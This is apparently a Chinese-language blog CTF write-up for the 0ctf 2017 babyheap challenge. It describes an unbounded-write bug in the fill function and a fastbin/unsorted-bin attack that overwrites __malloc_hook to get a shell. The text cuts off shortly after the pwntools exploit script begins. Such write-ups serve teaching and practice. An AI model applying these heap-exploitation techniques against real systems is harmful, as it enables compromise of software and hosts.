个人博客地址
http://www.darkerbox.com
欢迎大家学习交流
参考网址:
https://www.cnblogs.com/luoleqi/p/12349714.html
分析
参考网址说的已经不错了,主要问题出现在fill功能,只要chunk存在,即可写任意长度的字符。
主要还是利用fasbin attack和unsorted的特性(下面会说到)来修改__malloc_hook拿到shell。
这里我来实际走一遍exp的流程,下面的exp我用的是本地的libc。
这里我先把exp放出来,之后会分析exp的每一步操作具体干了什么
Exploit
#coding:utf-8
from pwn import *
p = process("./babyheap_0ctf_2017_glibc2.23")
context.log_level="debug"
def allocate(size):
p.recvuntil('Command: ')
p.sendline(&